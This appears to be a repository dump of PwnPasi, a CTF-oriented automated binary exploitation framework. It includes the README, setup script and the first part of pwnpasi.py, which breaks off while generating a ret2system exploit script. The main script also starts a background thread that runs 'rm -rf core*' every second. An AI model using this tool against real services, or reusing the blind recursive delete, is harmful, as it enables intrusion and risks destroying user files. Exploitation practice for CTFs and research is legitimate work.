├── Challenge
├── pie
├── canary
├── fmtstr1
└── level3_x64
├── requirements.txt
├── level3_x64_wp(automatically_generating_reports).docx
├── LICENSE
├── README.md
├── setup.py
└── pwnpasi.py
/Challenge/pie:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/heimao-box/pwnpasi/HEAD/Challenge/pie
--------------------------------------------------------------------------------
/Challenge/canary:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/heimao-box/pwnpasi/HEAD/Challenge/canary
--------------------------------------------------------------------------------
/Challenge/fmtstr1:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/heimao-box/pwnpasi/HEAD/Challenge/fmtstr1
--------------------------------------------------------------------------------
/Challenge/level3_x64:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/heimao-box/pwnpasi/HEAD/Challenge/level3_x64
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | pwntools>=4.9.0
2 | LibcSearcher>=1.1.5
3 | ropper>=1.13.5
4 | python-docx>=0.8.11
--------------------------------------------------------------------------------
/level3_x64_wp(automatically_generating_reports).docx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/heimao-box/pwnpasi/HEAD/level3_x64_wp(automatically_generating_reports).docx
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2025 Ba1_Ma0
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | # 🚀 PwnPasi 3.1
4 |
5 | **Professional Automated Binary Exploitation Framework**
6 |
7 | [](https://github.com/heimao-box/pwnpasi)
8 | [](https://www.python.org/)
9 | [](LICENSE)
10 | [](https://github.com/heimao-box/pwnpasi)
11 |
12 |
13 |
14 |
15 | ---
16 |
17 | ## 🎯 What is PwnPasi?
18 |
19 | PwnPasi is a **cutting-edge automated binary exploitation framework** designed for CTF competitions and security research, PwnPasi transforms complex binary exploitation into an automated, streamlined process.
20 |
21 | ### ✨ Key Features
22 |
23 | 🔍 **Smart Vulnerability Detection**
24 | - Automatic stack overflow detection with dynamic padding calculation
25 | - Format string vulnerability identification and exploitation
26 | - Binary protection analysis (RELRO, Stack Canary, NX, PIE)
27 | - Assembly code analysis for vulnerable function detection
28 | - Automatically generating reports
29 |
30 | ⚡ **Advanced Exploitation Techniques**
31 | - **ret2system**: Direct system function calls
32 | - **ret2libc**: ASLR bypass through libc address leaking
33 | - **ROP Chain Construction**: Automated gadget discovery and chaining
34 | - **Syscall Exploitation**: execve system call chains
35 | - **Shellcode Injection**: RWX segment exploitation
36 | - **Stack Canary Bypass**: Format string canary leaking
37 | - **PIE Bypass**: Position Independent Executable circumvention
38 |
39 | 🏗️ **Multi-Architecture Support**
40 | - **x86 (32-bit)**: Complete 32-bit exploitation chains
41 | - **x86_64 (64-bit)**: Full 64-bit exploitation support
42 | - **Auto-detection**: Intelligent architecture recognition
43 |
44 | 🌐 **Flexible Deployment**
45 | - **Local Mode**: Direct binary file exploitation
46 | - **Remote Mode**: Network service targeting
47 | - **Hybrid Approach**: Seamless local-to-remote transition
48 |
49 | ---
50 |
51 | ## 🚀 Quick Start
52 |
53 | ### Installation
54 |
55 | ```bash
56 | # Clone the repository
57 | git clone https://github.com/heimao-box/pwnpasi.git
58 | cd pwnpasi
59 |
60 | # Run the automated setup
61 | python setup.py
62 | ```
63 |
64 | The setup script will automatically:
65 | - Install system dependencies (Kali/Debian)
66 | - Set up Python packages (pwntools, LibcSearcher, ropper)
67 | - Configure the environment
68 | - Add pwnpasi to system PATH (optional)
69 |
70 | ### Basic Usage
71 |
72 | ```bash
73 | # Analyze local binary
74 | python pwnpasi.py -l ./target_binary
75 |
76 | # Remote exploitation
77 | python pwnpasi.py -l ./binary -ip 192.168.1.100 -p 9999
78 |
79 | # Custom libc and padding
80 | python pwnpasi.py -l ./binary -libc ./libc-2.19.so -f 112
81 | ```
82 |
83 | ---
84 |
85 | ## 💡 Usage Examples
86 |
87 | ### 🎪 Local Binary Analysis
88 | ```bash
89 | # Comprehensive local analysis
90 | python pwnpasi.py -l ./vuln_binary
91 | ```
92 |
93 | ### 🌍 Remote Service Exploitation
94 | ```bash
95 | # Target remote CTF service
96 | python pwnpasi.py -l ./local_binary -ip ctf.example.com -p 31337
97 | ```
98 |
99 | ### 🔧 Advanced Configuration
100 | ```bash
101 | # Specify custom libc and manual padding
102 | python pwnpasi.py -l ./binary -libc /lib/x86_64-linux-gnu/libc.so.6 -f 88 -v
103 | ```
104 |
105 | ---
106 |
107 | ## 📋 Command Line Options
108 |
109 | | Option | Description | Example |
110 | |--------|-------------|----------|
111 | | `-l, --local` | Target binary file (required) | `-l ./vuln_app` |
112 | | `-ip, --ip` | Remote target IP address | `-ip 192.168.1.100` |
113 | | `-p, --port` | Remote target port | `-p 9999` |
114 | | `-libc, --libc` | Custom libc file path | `-libc ./libc-2.27.so` |
115 | | `-f, --fill` | Manual overflow padding size | `-f 112` |
116 | | `-v, --verbose` | Enable verbose output | `-v` |
117 |
118 | ---
119 |
120 | ## 🛠️ Technical Arsenal
121 |
122 | ### Core Dependencies
123 | - **pwntools** - The ultimate CTF framework
124 | - **LibcSearcher** - Libc database and version detection
125 | - **ropper** - Advanced ROP gadget discovery
126 | - **checksec** - Binary security feature analysis
127 |
128 | ### System Tools Integration
129 | - **objdump** - Assembly analysis and disassembly
130 | - **strings** - String extraction and analysis
131 | - **ldd** - Dynamic library dependency mapping
132 | - **gdb** - Advanced debugging capabilities
133 |
134 | ---
135 |
136 | ## 🎨 Output Preview
137 |
138 |
139 |
140 | https://github.com/user-attachments/assets/1395d646-eeeb-4342-8b93-e05eed282b92
141 |
142 |
143 |
144 | ---
145 |
146 | ## 🏆 Why Choose PwnPasi?
147 |
148 | ### 🎯 **Precision & Automation**
149 | No more manual gadget hunting or address calculation. PwnPasi automates the entire exploitation pipeline with surgical precision.
150 |
151 | ### 🚀 **Speed & Efficiency**
152 | From vulnerability detection to shell acquisition in seconds, not hours. Perfect for time-critical CTF scenarios.
153 |
154 | ### 🧠 **Intelligence & Adaptability**
155 | Smart fallback mechanisms ensure maximum success rate across different binary configurations and protection schemes.
156 |
157 | ---
158 |
159 | ## 🤝 Contributing
160 |
161 | We welcome contributions! Whether it's:
162 | - 🐛 Bug reports and fixes
163 | - ✨ New exploitation techniques
164 | - 📚 Documentation improvements
165 | - 🔧 Performance optimizations
166 |
167 | ---
168 |
169 | ## 📜 License
170 |
171 | This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
172 |
173 | ---
174 |
175 | ## ⚠️ Disclaimer
176 |
177 | PwnPasi is designed for **educational purposes** and **authorized security testing** only. Users are responsible for ensuring compliance with applicable laws and regulations. The developers assume no liability for misuse of this tool.
178 |
179 | ---
180 |
181 |
182 |
183 | **Made with ❤️ by Ba1_Ma0**
184 |
185 | *Star ⭐ this repo if PwnPasi helped you pwn some binaries!*
186 |
187 |
188 |
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | import os
3 | import sys
4 | import time
5 | import subprocess
6 | from setuptools import setup, find_packages
7 |
8 | # 科技化颜色方案
9 | class Colors:
10 | CYAN = '\033[96m'
11 | GREEN = '\033[92m'
12 | YELLOW = '\033[93m'
13 | RED = '\033[91m'
14 | BLUE = '\033[94m'
15 | MAGENTA = '\033[95m'
16 | WHITE = '\033[97m'
17 | BOLD = '\033[1m'
18 | DIM = '\033[2m'
19 | END = '\033[0m'
20 | BLINK = '\033[5m'
21 |
22 | def print_banner():
23 | banner = f"""{Colors.CYAN}{Colors.BOLD}
24 | ██████╗ ██╗ ██╗███╗ ██╗██████╗ █████╗ ███████╗██╗
25 | ██╔══██╗██║ ██║████╗ ██║██╔══██╗██╔══██╗██╔════╝██║
26 | ██████╔╝██║ █╗ ██║██╔██╗ ██║██████╔╝███████║███████╗██║
27 | ██╔═══╝ ██║███╗██║██║╚██╗██║██╔═══╝ ██╔══██║╚════██║██║
28 | ██║ ╚███╔███╔╝██║ ╚████║██║ ██║ ██║███████║██║
29 | ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝
30 | {Colors.END}
31 | {Colors.MAGENTA} ╔══════════════════════════════════════════════════════╗
32 | ║ {Colors.WHITE}{Colors.BOLD}ADVANCED PWN EXPLOITATION FRAMEWORK{Colors.END}{Colors.MAGENTA} ║
33 | ║ {Colors.YELLOW}Setup & Installation{Colors.END}{Colors.MAGENTA} ║
34 | ╚══════════════════════════════════════════════════════╝{Colors.END}
35 | """
36 | print(banner)
37 | time.sleep(0.5)
38 |
39 | def print_progress_bar(current, total, task_name, width=50):
40 | progress = current / total
41 | filled = int(width * progress)
42 | bar = '█' * filled + '░' * (width - filled)
43 | percentage = int(progress * 100)
44 | print(f"\r{Colors.CYAN}[{Colors.YELLOW}◉{Colors.CYAN}]{Colors.END} {task_name}: {Colors.MAGENTA}[{bar}]{Colors.END} {Colors.BOLD}{percentage}%{Colors.END}", end='', flush=True)
45 | if current == total:
46 | print(f" {Colors.GREEN}✓{Colors.END}")
47 |
48 | def print_status(status_type, message):
49 | icons = {
50 | 'info': f'{Colors.CYAN}[{Colors.WHITE}◉{Colors.CYAN}]{Colors.END}',
51 | 'success': f'{Colors.GREEN}[{Colors.WHITE}✓{Colors.GREEN}]{Colors.END}',
52 | 'warning': f'{Colors.YELLOW}[{Colors.WHITE}⚠{Colors.YELLOW}]{Colors.END}',
53 | 'error': f'{Colors.RED}[{Colors.WHITE}✗{Colors.RED}]{Colors.END}',
54 | 'process': f'{Colors.MAGENTA}[{Colors.WHITE}⟳{Colors.MAGENTA}]{Colors.END}'
55 | }
56 | timestamp = time.strftime('%H:%M:%S')
57 | print(f"{icons[status_type]} {Colors.DIM}[{timestamp}]{Colors.END} {message}")
58 |
59 | def run_command(command, error_message):
60 | try:
61 | result = subprocess.run(command, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
62 | return result
63 | except subprocess.CalledProcessError as e:
64 | print_status('error', f"{error_message}")
65 | print(f" {Colors.RED}└─ {e.stderr.strip()}{Colors.END}")
66 | sys.exit(1)
67 |
68 | def install_system_dependencies():
69 | dependencies = [
70 | # Add system dependencies here if needed
71 | ]
72 |
73 | if not dependencies:
74 | print_status('info', f"No system dependencies required")
75 | return
76 |
77 | print_status('process', f"Updating package repositories...")
78 | for i in range(1, 4):
79 | print_progress_bar(i, 3, "Repository sync", 40)
80 | time.sleep(0.3)
81 |
82 | run_command(['sudo', 'apt', 'update'], "Failed to update package list")
83 | print_status('success', "Package repositories updated")
84 |
85 | for i, (pkg, desc) in enumerate(dependencies, 1):
86 | print_status('process', f"Installing {desc} ({pkg})...")
87 | for j in range(1, 6):
88 | print_progress_bar(j, 5, f"Installing {pkg}", 35)
89 | time.sleep(0.2)
90 | run_command(['sudo', 'apt', 'install', '-y', pkg], f"Failed to install {pkg}")
91 | print_status('success', f"{desc} installed successfully")
92 |
93 | def install_system_packages_for_pwntools():
94 | """Install system packages required for pwntools on Kali/Debian"""
95 | kali_packages = [
96 | ('python3-dev', 'Python development headers'),
97 | ('python3-pip', 'Python package installer'),
98 | ('build-essential', 'Build tools'),
99 | ('libssl-dev', 'SSL development libraries'),
100 | ('libffi-dev', 'FFI development libraries'),
101 | ('python3-setuptools', 'Python setuptools'),
102 | ('libc6-dev', 'C library development files'),
103 | ('gcc', 'GNU Compiler Collection')
104 | ]
105 |
106 | print_status('process', "Installing system packages for pwntools...")
107 |
108 | # Update package list first
109 | try:
110 | subprocess.run(['sudo', 'apt', 'update'], check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
111 | print_status('success', "Package list updated")
112 | except subprocess.CalledProcessError:
113 | print_status('warning', "Failed to update package list, continuing...")
114 |
115 | for pkg, desc in kali_packages:
116 | try:
117 | print_status('info', f"Installing {desc}...")
118 | subprocess.run(['sudo', 'apt', 'install', '-y', pkg],
119 | check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
120 | print_status('success', f"{desc} installed")
121 | except subprocess.CalledProcessError:
122 | print_status('warning', f"Failed to install {pkg}, may already be installed")
123 |
124 | def install_python_dependencies():
125 | python_deps = [
126 | ('pwntools>=4.9.0', 'PWN exploitation toolkit'),
127 | ('LibcSearcher>=1.1.5', 'Libc database searcher'),
128 | ('ropper>=1.13.5', 'ROP gadget finder')
129 | ]
130 |
131 | print_status('process', "Installing Python dependencies...")
132 |
133 | # Check if we're on Kali/Debian and install system packages first
134 | if os.path.exists('/etc/debian_version'):
135 | print_status('info', "Detected Debian/Kali system, installing system dependencies...")
136 | install_system_packages_for_pwntools()
137 |
138 | for i, (pkg, desc) in enumerate(python_deps, 1):
139 | print_status('info', f"Installing {desc}...")
140 | for j in range(1, 6):
141 | print_progress_bar(j, 5, f"Installing {pkg.split('>=')[0]}", 35)
142 | time.sleep(0.2)
143 |
144 | # Try multiple installation methods
145 | success = False
146 |
147 | # Method 1: Regular pip install
148 | try:
149 | subprocess.run([sys.executable, '-m', 'pip', 'install', pkg],
150 | check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
151 | print_status('success', f"{desc} installed successfully")
152 | success = True
153 | except subprocess.CalledProcessError as e:
154 | print_status('warning', f"Standard pip install failed for {pkg}")
155 |
156 | # Method 2: Try with --user flag
157 | if not success:
158 | try:
159 | subprocess.run([sys.executable, '-m', 'pip', 'install', '--user', pkg],
160 | check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
161 | print_status('success', f"{desc} installed successfully (user mode)")
162 | success = True
163 | except subprocess.CalledProcessError:
164 | print_status('warning', f"User pip install failed for {pkg}")
165 |
166 | # Method 3: Try with --break-system-packages (for newer pip versions)
167 | if not success:
168 | try:
169 | subprocess.run([sys.executable, '-m', 'pip', 'install', '--break-system-packages', pkg],
170 | check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
171 | print_status('success', f"{desc} installed successfully (system override)")
172 | success = True
173 | except subprocess.CalledProcessError:
174 | print_status('warning', f"System override pip install failed for {pkg}")
175 |
176 | # Method 4: Try apt install for pwntools on Kali
177 | if not success and pkg.startswith('pwntools') and os.path.exists('/etc/debian_version'):
178 | try:
179 | subprocess.run(['sudo', 'apt', 'install', '-y', 'python3-pwntools'],
180 | check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
181 | print_status('success', f"{desc} installed via apt")
182 | success = True
183 | except subprocess.CalledProcessError:
184 | print_status('warning', f"APT install failed for pwntools")
185 |
186 | if not success:
187 | print_status('error', f"All installation methods failed for {pkg}")
188 | print_status('info', f"Please manually install {pkg} using:")
189 | print(f" {Colors.YELLOW}sudo apt install python3-dev build-essential{Colors.END}")
190 | print(f" {Colors.YELLOW}pip3 install {pkg}{Colors.END}")
191 | # Don't exit, continue with other packages
192 | continue
193 |
194 | def main():
195 | print_banner()
196 |
197 | print_status('info', f"Initializing PWNPASI setup environment...")
198 | time.sleep(0.5)
199 |
200 | if os.name == 'posix' and os.geteuid() != 0:
201 | print_status('warning', "System package installation may require sudo privileges")
202 | print_status('info', "You may be prompted for your password")
203 | print()
204 |
205 | # System dependencies
206 | print(f"\n{Colors.BOLD}{Colors.BLUE}╔═══════════════════════════════════════╗{Colors.END}")
207 | print(f"{Colors.BOLD}{Colors.BLUE}║{Colors.END} {Colors.CYAN}SYSTEM DEPENDENCIES PHASE{Colors.END} {Colors.BOLD}{Colors.BLUE}║{Colors.END}")
208 | print(f"{Colors.BOLD}{Colors.BLUE}╚═══════════════════════════════════════╝{Colors.END}")
209 | install_system_dependencies()
210 |
211 | # Python dependencies
212 | print(f"\n{Colors.BOLD}{Colors.BLUE}╔═══════════════════════════════════════╗{Colors.END}")
213 | print(f"{Colors.BOLD}{Colors.BLUE}║{Colors.END} {Colors.CYAN}PYTHON DEPENDENCIES PHASE{Colors.END} {Colors.BOLD}{Colors.BLUE}║{Colors.END}")
214 | print(f"{Colors.BOLD}{Colors.BLUE}╚═══════════════════════════════════════╝{Colors.END}")
215 | install_python_dependencies()
216 |
217 | # Completion
218 | print(f"\n{Colors.BOLD}{Colors.GREEN}╔═══════════════════════════════════════╗{Colors.END}")
219 | print(f"{Colors.BOLD}{Colors.GREEN}║{Colors.END} {Colors.WHITE}INSTALLATION COMPLETE{Colors.END} {Colors.BOLD}{Colors.GREEN}║{Colors.END}")
220 | print(f"{Colors.BOLD}{Colors.GREEN}╚═══════════════════════════════════════╝{Colors.END}")
221 |
222 | print_status('success', f"PWNPASI framework successfully installed!")
223 | print_status('info', f"Ready for advanced PWN exploitation")
224 | print(f"\n{Colors.CYAN} Usage: {Colors.WHITE}python pwnpasi.py -l {Colors.END}")
225 | print(f"{Colors.CYAN} Help: {Colors.WHITE}python pwnpasi.py --help{Colors.END}\n")
226 |
227 | def setup_system_command():
228 | """Setup pwnpasi as a system command"""
229 | import shutil
230 | import stat
231 |
232 | # Get current script path
233 | current_dir = os.path.dirname(os.path.abspath(__file__))
234 | pwnpasi_script = os.path.join(current_dir, 'pwnpasi.py')
235 |
236 | # Determine system bin directory
237 | if os.name == 'posix': # Linux/macOS
238 | bin_dirs = ['/usr/local/bin', '/usr/bin']
239 | target_name = 'pwnpasi'
240 | else: # Windows
241 | # For Windows, we'll add to Python Scripts directory
242 | import sys
243 | scripts_dir = os.path.join(os.path.dirname(sys.executable), 'Scripts')
244 | bin_dirs = [scripts_dir] if os.path.exists(scripts_dir) else []
245 | target_name = 'pwnpasi.py'
246 |
247 | # Find writable bin directory
248 | target_dir = None
249 | for bin_dir in bin_dirs:
250 | if os.path.exists(bin_dir) and os.access(bin_dir, os.W_OK):
251 | target_dir = bin_dir
252 | break
253 |
254 | if not target_dir:
255 | print_status('warning', "No writable system directory found, trying with sudo...")
256 | target_dir = bin_dirs[0] if bin_dirs else '/usr/local/bin'
257 |
258 | target_path = os.path.join(target_dir, target_name)
259 |
260 | try:
261 | # Copy script to system directory
262 | print_status('process', f"Installing pwnpasi to {target_path}...")
263 |
264 | if os.name == 'posix':
265 | # For Linux/macOS, create a wrapper script
266 | wrapper_content = f"#!/usr/bin/env python3\n# PWNPASI System Command Wrapper\nimport sys\nimport os\nsys.path.insert(0, '{current_dir}')\nfrom pwnpasi import main\nif __name__ == '__main__':\n main()\n"
267 |
268 | # Try to write directly first
269 | try:
270 | with open(target_path, 'w') as f:
271 | f.write(wrapper_content)
272 | os.chmod(target_path, stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IXOTH)
273 | except PermissionError:
274 | # Use sudo if needed
275 | import tempfile
276 | with tempfile.NamedTemporaryFile(mode='w', delete=False, suffix='.py') as tmp:
277 | tmp.write(wrapper_content)
278 | tmp_path = tmp.name
279 |
280 | run_command(['sudo', 'cp', tmp_path, target_path], f"Failed to install to {target_path}")
281 | run_command(['sudo', 'chmod', '+x', target_path], f"Failed to set permissions for {target_path}")
282 | os.unlink(tmp_path)
283 | else:
284 | # For Windows, copy the script directly
285 | shutil.copy2(pwnpasi_script, target_path)
286 |
287 | print_status('success', f"PWNPASI installed as system command: {target_name}")
288 | print_status('info', f"You can now run 'pwnpasi' from anywhere in the terminal")
289 |
290 | # Add to PATH if needed (Windows)
291 | if os.name == 'nt' and target_dir not in os.environ.get('PATH', '').split(os.pathsep):
292 | print_status('info', f"Add {target_dir} to your PATH environment variable for global access")
293 |
294 | except Exception as e:
295 | print_status('error', f"Failed to install system command: {str(e)}")
296 | print_status('info', "You can still run pwnpasi using: python pwnpasi.py")
297 |
298 | if __name__ == '__main__':
299 | main()
300 |
301 | # Ask user if they want to install as system command
302 | print(f"\n{Colors.CYAN}╔═══════════════════════════════════════╗{Colors.END}")
303 | print(f"{Colors.CYAN}║{Colors.END} {Colors.YELLOW}SYSTEM COMMAND SETUP{Colors.END} {Colors.CYAN}║{Colors.END}")
304 | print(f"{Colors.CYAN}╚═══════════════════════════════════════╝{Colors.END}")
305 |
306 | response = input(f"{Colors.CYAN}[◉]{Colors.END} Install pwnpasi as system command? (y/N): ").strip().lower()
307 | if response in ['y', 'yes']:
308 | setup_system_command()
309 | else:
310 | print_status('info', "Skipped system command installation")
311 | print_status('info', "Run 'python setup.py' again and choose 'y' to install later")
312 | else:
313 | setup(
314 | name="pwnpasi",
315 | version="3.0.0",
316 | description="Advanced PWN Exploitation Framework",
317 | author="Ba1_Ma0",
318 | packages=find_packages(),
319 | install_requires=[
320 | 'pwntools>=4.9.0',
321 | 'LibcSearcher>=1.1.5',
322 | 'ropper>=1.13.5'
323 | ],
324 | python_requires='>=3.8',
325 | entry_points={
326 | 'console_scripts': [
327 | 'pwnpasi=pwnpasi:main',
328 | ],
329 | },
330 | scripts=['pwnpasi.py'],
331 | )
--------------------------------------------------------------------------------
/pwnpasi.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 |
4 | from pwn import *
5 | from LibcSearcher import *
6 | import argparse
7 | import sys
8 | import os
9 | import re
10 | import subprocess
11 | import time
12 | import datetime
13 | import threading
14 | from elftools.elf.elffile import ELFFile
15 | from elftools.elf.sections import SymbolTableSection
16 | from docx import Document
17 | from docx.shared import Inches
18 | from docx.enum.text import WD_ALIGN_PARAGRAPH
19 |
20 | # Disable core dump files (Unix/Linux only)
21 | try:
22 | import resource
23 | resource.setrlimit(resource.RLIMIT_CORE, (0, 0))
24 | except:
25 | pass
26 |
27 | # Configure pwntools to prevent core dumps
28 | context.log_level = 'error'
29 | context.terminal = ['bash', '-c']
30 | try:
31 | # Additional core dump prevention
32 | os.system('ulimit -c 0 2>/dev/null || true')
33 | except:
34 | pass
35 |
36 | # Core file cleanup thread
37 | def cleanup_core_files():
38 | """Background thread to continuously remove core files"""
39 | while True:
40 | try:
41 | # Remove core files in current directory
42 | os.system('rm -rf core* 2>/dev/null || del core* 2>nul || true')
43 | time.sleep(1) # Check every second
44 | except:
45 | pass
46 |
47 | # Start core cleanup thread
48 | cleanup_thread = threading.Thread(target=cleanup_core_files, daemon=True)
49 | cleanup_thread.start()
50 |
51 | # Global configuration
52 | VERSION = "3.1"
53 | AUTHOR = "Security Research Team"
54 | GITHUB = "https://github.com/heimao-box/pwnpasi"
55 |
56 | # Global variables for exploit information
57 | exploit_info = {
58 | 'target_binary': '',
59 | 'exploit_type': '',
60 | 'payload': '',
61 | 'padding': 0,
62 | 'addresses': {},
63 | 'vulnerability_type': '',
64 | 'architecture': '',
65 | 'success': False,
66 | 'timestamp': ''
67 | }
68 |
69 | # Color schemes (similar to sqlmap)
70 | class Colors:
71 | HEADER = '\033[95m'
72 | BLUE = '\033[94m'
73 | CYAN = '\033[96m'
74 | GREEN = '\033[92m'
75 | YELLOW = '\033[93m'
76 | RED = '\033[91m'
77 | BOLD = '\033[1m'
78 | UNDERLINE = '\033[4m'
79 | END = '\033[0m'
80 |
81 | # Sqlmap-style colors
82 | INFO = '\033[1;34m' # Blue bold
83 | SUCCESS = '\033[1;32m' # Green bold
84 | WARNING = '\033[1;33m' # Yellow bold
85 | ERROR = '\033[1;31m' # Red bold
86 | CRITICAL = '\033[1;35m' # Magenta bold
87 | PAYLOAD = '\033[1;36m' # Cyan bold
88 |
89 | def print_banner():
90 | banner = f"""
91 | {Colors.BOLD}{Colors.BLUE}
92 | ____ ____ _
93 | | _ \ __ ___ _| _ \ __ _ ___(_)
94 | | |_) |\ \ /\ / / '_ \ |_) / _` / __| |
95 | | __/ \ V V /| | | | __/ (_| \__ \ |
96 | |_| \_/\_/ |_| |_|_| \__,_|___/_|
97 | {Colors.END}
98 | {Colors.BOLD} Automated Binary Exploitation Framework v{VERSION}{Colors.END}
99 | {Colors.CYAN} by {AUTHOR}{Colors.END}
100 | {Colors.UNDERLINE} {GITHUB}{Colors.END}
101 | """
102 | print(banner)
103 |
104 | def print_info(message, prefix="[*]"):
105 | """Print info message with sqlmap-style formatting"""
106 | timestamp = datetime.datetime.now().strftime("%H:%M:%S")
107 | print(f"{Colors.INFO}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}")
108 |
109 | def print_success(message, prefix="[+]"):
110 | """Print success message"""
111 | timestamp = datetime.datetime.now().strftime("%H:%M:%S")
112 | print(f"{Colors.SUCCESS}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}")
113 |
114 | def print_warning(message, prefix="[!]"):
115 | """Print warning message"""
116 | timestamp = datetime.datetime.now().strftime("%H:%M:%S")
117 | print(f"{Colors.WARNING}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}")
118 |
119 | def print_error(message, prefix="[-]"):
120 | """Print error message"""
121 | timestamp = datetime.datetime.now().strftime("%H:%M:%S")
122 | print(f"{Colors.ERROR}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}")
123 |
124 | def print_critical(message, prefix="[CRITICAL]"):
125 | """Print critical message"""
126 | timestamp = datetime.datetime.now().strftime("%H:%M:%S")
127 | print(f"{Colors.CRITICAL}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}")
128 |
129 | def print_payload(message, prefix="[PAYLOAD]"):
130 | """Print payload information"""
131 | timestamp = datetime.datetime.now().strftime("%H:%M:%S")
132 | print(f"{Colors.PAYLOAD}{prefix}{Colors.END} {Colors.BOLD}[{timestamp}]{Colors.END} {message}")
133 |
134 | def print_section_header(title):
135 | """Print section header with decorative lines"""
136 | line = "─" * 60
137 | print(f"\n{Colors.BOLD}{Colors.BLUE}┌{line}┐{Colors.END}")
138 | print(f"{Colors.BOLD}{Colors.BLUE}│{Colors.END} {Colors.BOLD}{title.center(58)}{Colors.END} {Colors.BOLD}{Colors.BLUE}│{Colors.END}")
139 | print(f"{Colors.BOLD}{Colors.BLUE}└{line}┘{Colors.END}")
140 |
141 | def print_progress(current, total, task_name):
142 | """Print progress bar similar to sqlmap"""
143 | percentage = int((current / total) * 100)
144 | bar_length = 30
145 | filled_length = int(bar_length * current // total)
146 | bar = '█' * filled_length + '░' * (bar_length - filled_length)
147 | print(f"\r{Colors.INFO}[*]{Colors.END} {task_name}: {Colors.CYAN}[{bar}]{Colors.END} {percentage}%", end='', flush=True)
148 | if current == total:
149 | print_info("") # New line when complete
150 |
151 | def print_table_header(headers):
152 | """Print table header"""
153 | header_line = " | ".join([f"{h:^15}" for h in headers])
154 | separator = "-" * len(header_line)
155 | print(f"{Colors.BOLD}{header_line}{Colors.END}")
156 | print(separator)
157 |
158 | def print_table_row(values, colors=None):
159 | """Print table row with optional colors"""
160 | if colors is None:
161 | colors = [Colors.END] * len(values)
162 |
163 | formatted_values = []
164 | for i, (value, color) in enumerate(zip(values, colors)):
165 | formatted_values.append(f"{color}{str(value):^15}{Colors.END}")
166 |
167 | row_line = " | ".join(formatted_values)
168 | print(row_line)
169 |
170 | def update_exploit_info(key, value):
171 | """Update global exploit information"""
172 | global exploit_info
173 | exploit_info[key] = value
174 |
175 | def generate_exploitation_code():
176 | """Generate complete exploitation code based on exploit type and information"""
177 | global exploit_info
178 |
179 | # Extract target binary name
180 | target_name = os.path.basename(exploit_info['target_binary'])
181 | if target_name.startswith('./'):
182 | target_name = target_name[2:]
183 |
184 | # Base template for exploitation code
185 | base_code = f"""#!/usr/bin/env python3
186 | # -*- coding: utf-8 -*-
187 | # PWN Exploitation Script
188 | # Target: {exploit_info['target_binary']}
189 | # Exploit Type: {exploit_info['exploit_type']}
190 | # Architecture: {exploit_info['architecture']}
191 | # Vulnerability: {exploit_info['vulnerability_type']}
192 |
193 | from pwn import *
194 |
195 | # Target configuration
196 | target = '{target_name}'
197 | context.arch = '{exploit_info['architecture']}'
198 | context.log_level = 'debug'
199 |
200 | # Connect to target
201 | io = process(target)
202 | # For remote: io = remote('host', port)
203 |
204 | """
205 |
206 | # Add addresses information as variables
207 | if exploit_info['addresses']:
208 | base_code += "# Key addresses\n"
209 | for addr_type, addr_value in exploit_info['addresses'].items():
210 | if isinstance(addr_value, int):
211 | base_code += f"{addr_type} = 0x{addr_value:x}\n"
212 | elif isinstance(addr_value, str) and addr_value.startswith('0x'):
213 | base_code += f"{addr_type} = {addr_value}\n"
214 | else:
215 | try:
216 | base_code += f"{addr_type} = 0x{int(str(addr_value)):x}\n"
217 | except:
218 | base_code += f"{addr_type} = {repr(addr_value)}\n"
219 | base_code += "\n"
220 |
221 | # Add payload construction based on exploit type
222 | exploit_type = exploit_info['exploit_type'].lower()
223 |
224 | if 'ret2system' in exploit_type:
225 | if 'x64' in exploit_type:
226 | base_code += f"""# Construct payload for ret2system x64
227 | padding = b'A' * {exploit_info['padding']}
